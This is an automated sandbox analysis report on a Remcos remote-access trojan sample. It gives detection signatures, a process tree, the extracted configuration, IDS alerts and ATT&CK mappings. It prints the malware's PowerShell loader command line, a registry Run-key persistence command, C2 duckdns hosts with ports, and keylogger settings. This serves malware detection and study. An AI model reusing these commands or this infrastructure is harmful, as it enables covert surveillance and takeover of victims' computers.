Edit tour
Windows
Analysis Report
x295IO8kqM.exe
Overview
General Information
| Sample name: | x295IO8kqM.exe |
| Analysis ID: | 1574342 |
| MD5: | 3e4417c519a6dc532e433ad673bfa553 |
| SHA1: | a724189bc732612dd68bc0ce7f7ac9ffabbd89b9 |
| SHA256: | 6e3fa4568a26535e48ab78ab8cc6e63fc96eb9262097f85d8c66d580dd7cd167 |
| Infos: |   |
 | |
Detection
Remcos
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Early bird code injection technique detected
Found malware configuration
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Remcos RAT
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Installs a global keyboard hook
Loading BitLocker PowerShell Module
Queues an APC in another process (thread injection)
Uses dynamic DNS services
Writes to foreign memory regions
Abnormal high CPU Usage
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to shutdown / reboot the system
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Msiexec Initiated Connection
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Classification
- System is w10x64native
x295IO8kqM.exe (PID: 2468 cmdline: "C:\Users\ user\Deskt op\x295IO8 kqM.exe" MD5: 3E4417C519A6DC532E433AD673BFA553) 
powershell.exe (PID: 1300 cmdline: "Powershel l.exe" -wi ndowstyle minimized "$Coriin = Get-Conte nt -raw 'C :\Users\us er\AppData \Roaming\w oady\roads how\Declar ative.Udt' ; $Dioden s=$Coriin. SubString( 73160,3);. $Diodens($ Coriin) MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) 
conhost.exe (PID: 6864 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) 
msiexec.exe (PID: 5324 cmdline: "C:\Window s\SysWOW64 \msiexec.e xe" MD5: 9D09DC1EDA745A5F87553048E57620CF) - cmd.exe (PID: 7944 cmdline:
"C:\Window s\System32 \cmd.exe" /c REG ADD HKCU\Soft ware\Micro soft\Windo ws\Current Version\Ru n /f /v "F eries" /t REG_EXPAND _SZ /d "%G alliasses% -windowst yle 1 $Mis conceiving =(gp -Path 'HKCU:\So ftware\Mat erialeansk affelserne s\').Appli kationstil pasninger; %Galliasse s% ($Misco nceiving)" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 1000 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) 
reg.exe (PID: 6816 cmdline: REG ADD HK CU\Softwar e\Microsof t\Windows\ CurrentVer sion\Run / f /v "Feri es" /t REG _EXPAND_SZ /d "%Gall iasses% -w indowstyle 1 $Miscon ceiving=(g p -Path 'H KCU:\Softw are\Materi aleanskaff elsernes\' ).Applikat ionstilpas ninger;%Ga lliasses% ($Misconce iving)" MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
- cleanup
| Name | Description | Attribution | Blogpost URLs | Link |
|---|---|---|---|---|
| Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": ["eweo9264gtuiort.duckdns.org:2879:0", "eweo9264gtuiort.duckdns.org:2889:1", "eweo9264gtuiorta1.duckdns.org:2879:0"], "Assigned name": "NewOne", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "alsmdjtru-Z27L4O", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "aksloest.dat", "Keylog crypt": "Disable", "Hide keylog file": "Enable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": ""}| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security |
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security |
| Source: | Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): | ||
| Source: | Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: | ||
| Source: | Author: frack113: | ||
| Source: | Author: Florian Roth (Nextron Systems): | ||
| Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): | ||
| Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2024-12-13T08:50:06.791648+0100 | 2036594 | 1 | Malware Command and Control Activity Detected | 192.168.11.20 | 49717 | 192.169.69.26 | 2889 | TCP |
| Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2024-12-13T08:50:48.350112+0100 | 2032776 | 1 | Malware Command and Control Activity Detected | 192.168.11.20 | 49716 | 192.169.69.26 | 2879 | TCP |
| 2024-12-13T08:50:49.555506+0100 | 2032776 | 1 | Malware Command and Control Activity Detected | 192.168.11.20 | 49718 | 172.111.244.113 | 2879 | TCP |
| Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2024-12-13T08:50:49.800765+0100 | 2032777 | 1 | Malware Command and Control Activity Detected | 172.111.244.113 | 2879 | 192.168.11.20 | 49718 | TCP |
| 2024-12-13T08:53:00.444282+0100 | 2032777 | 1 | Malware Command and Control Activity Detected | 172.111.244.113 | 2879 | 192.168.11.20 | 49718 | TCP |
| Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2024-12-13T08:50:50.582431+0100 | 2803304 | 3 | Unknown Traffic | 192.168.11.20 | 49719 | 178.237.33.50 | 80 | TCP |
| Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2024-12-13T08:50:35.665130+0100 | 2803270 | 2 | Potentially Bad Traffic | 192.168.11.20 | 49714 | 172.217.215.102 | 443 | TCP |
Click to jump to signature section
Show All Signature Results
AV Detection |   |
|---|
| Source: | Avira: | ||
| Source: | Malware Configuration Extractor: | ||
| Source: | ReversingLabs: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | Static PE information: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | Static PE information: | ||
| Source: | Code function: | 0_2_0040635D | |
| Source: | Code function: | 0_2_0040580B | |
| Source: | Code function: | 0_2_004027FB | |
Networking | |
|---|
| Source: | Suricata IDS: | ||
| Source: | Suricata IDS: | ||
| Source: | Suricata IDS: | ||
| Source: | Suricata IDS: | ||
| Source: | URLs: | ||
| Source: | URLs: | ||
| Source: | URLs: | ||
| Source: | DNS query: | ||
| Source: | DNS query: | ||
| Source: | HTTP traffic detected: | ||
| Source: | IP Address: | ||
| Source: | IP Address: | ||
| Source: | IP Address: | ||
| Source: | ASN Name: | ||
| Source: | ASN Name: | ||
| Source: | JA3 fingerprint: | ||
| Source: | Suricata IDS: | ||
| Source: | Suricata IDS: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
Key, Mouse, Clipboard, Microphone and Screen Capturing | |
|---|
| Source: | Windows user hook set: | Jump to behavior | ||
| Source: | Code function: | 0_2_004052B8 | |
E-Banking Fraud | |
|---|
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | Process Stats: | ||
| Source: | Code function: | 0_2_0040326A | |
| Source: | Code function: | 0_2_004066E2 | |
| Source: | Code function: | 0_2_00404AF5 | |
| Source: | Static PE information: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Static PE information: | ||
| Source: | Process created: | ||
| Source: | Classification label: | ||
| Source: | Code function: | 0_2_0040326A | |
| Source: | Code function: | 0_2_00404579 | |
| Source: | Code function: | 0_2_00402095 | |
| Source: | File created: | Jump to behavior | ||
| Source: | File created: | Jump to behavior | ||
| Source: | Mutant created: | ||
| Source: | Mutant created: | ||
| Source: | Mutant created: | ||
| Source: | Mutant created: | ||
| Source: | Mutant created: | ||
| Source: | Mutant created: | ||
| Source: | File created: | Jump to behavior | ||
| Source: | Static PE information: | ||
| Source: | WMI Queries: | ||
| Source: | File read: | Jump to behavior | ||
| Source: | Key opened: | Jump to behavior | ||
| Source: | ReversingLabs: | ||
| Source: | File read: | Jump to behavior | ||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Key value queried: | Jump to behavior | ||
| Source: | Window detected: | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | Static PE information: | ||
Data Obfuscation | |
|---|
| Source: | Anti Malware Scan Interface: | ||
| Source: | Anti Malware Scan Interface: | ||
| Source: | Registry value created or modified: | Jump to behavior | ||
| Source: | Registry value created or modified: | Jump to behavior | ||
Hooking and other Techniques for Hiding and Protection | |
|---|
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Window / User API: | Jump to behavior | ||
| Source: | Thread sleep count: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep count: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Last function: | ||
| Source: | Code function: | 0_2_0040635D | |
| Source: | Code function: | 0_2_0040580B | |
| Source: | Code function: | 0_2_004027FB | |
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | API call chain: | graph_0-3522 | ||
| Source: | Process information queried: | Jump to behavior | ||
| Source: | Process queried: | Jump to behavior | ||
| Source: | Process token adjusted: | Jump to behavior | ||
HIPS / PFW / Operating System Protection Evasion | |
|---|
| Source: | Process created / APC Queued / Resumed: | Jump to behavior | ||
| Source: | Thread APC queued: | Jump to behavior | ||
| Source: | Memory written: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | |||
| Source: | Process created: | Jump to behavior | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Code function: | 0_2_0040326A | |
Stealing of Sensitive Information | |
|---|
| Source: | File source: | ||
| Source: | File source: | ||
Remote Access Functionality | |
|---|
| Source: | File source: | ||
| Source: | File source: | ||
| Reconnaissance | Resource Development | Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command and Control | Exfiltration | Impact |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Gather Victim Identity Information | Acquire Infrastructure | Valid Accounts | 1 Windows Management Instrumentation | 1 Registry Run Keys / Startup Folder | 1 Access Token Manipulation | 2 Masquerading | 11 Input Capture | 11 Security Software Discovery | Remote Services | 11 Input Capture | 11 Encrypted Channel | Exfiltration Over Other Network Medium | 1 System Shutdown/Reboot |
| Credentials | Domains | Default Accounts | 1 Command and Scripting Interpreter | 1 DLL Side-Loading | 312 Process Injection | 1 Modify Registry | LSASS Memory | 2 Virtualization/Sandbox Evasion | Remote Desktop Protocol | 1 Archive Collected Data | 1 Ingress Tool Transfer | Exfiltration Over Bluetooth | Network Denial of Service |
| Email Addresses | DNS Server | Domain Accounts | At | Logon Script (Windows) | 1 Registry Run Keys / Startup Folder | 2 Virtualization/Sandbox Evasion | Security Account Manager | 2 Process Discovery | SMB/Windows Admin Shares | 1 Clipboard Data | 2 Non-Application Layer Protocol | Automated Exfiltration | Data Encrypted for Impact |
| Employee Names | Virtual Private Server | Local Accounts | Cron | Login Hook | 1 DLL Side-Loading | 1 Access Token Manipulation | NTDS | 1 Application Window Discovery | Distributed Component Object Model | Input Capture | 213 Application Layer Protocol | Traffic Duplication | Data Destruction |
| Gather Victim Network Information | Server | Cloud Accounts | Launchd | Network Logon Script | Network Logon Script | 312 Process Injection | LSA Secrets | 2 File and Directory Discovery | SSH | Keylogging | Fallback Channels | Scheduled Transfer | Data Encrypted for Impact |
| Domain Properties | Botnet | Replication Through Removable Media | Scheduled Task | RC Scripts | RC Scripts | 1 Software Packing | Cached Domain Credentials | 14 System Information Discovery | VNC | GUI Input Capture | Multiband Communication | Data Transfer Size Limits | Service Stop |
| DNS | Web Services | External Remote Services | Systemd Timers | Startup Items | Startup Items | 1 DLL Side-Loading | DCSync | Remote System Discovery | Windows Remote Management | Web Portal Capture | Commonly Used Port | Exfiltration Over C2 Channel | Inhibit System Recovery |
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
InternetThis section contains all screenshots as thumbnails, including those not shown in the slideshow.
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 100% | Avira | TR/AVI.Agent.lbxod | ||
| 39% | ReversingLabs | Win32.Backdoor.Remcos |
⊘No Antivirus matches
⊘No Antivirus matches
⊘No Antivirus matches
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe |
| Name | IP | Active | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|---|
| eweo9264gtuiorta1.duckdns.org | 172.111.244.113 | true | true | unknown | |
| eweo9264gtuiort.duckdns.org | 192.169.69.26 | true | true | unknown | |
| geoplugin.net | 178.237.33.50 | true | false | high | |
| drive.google.com | 172.217.215.102 | true | false | high | |
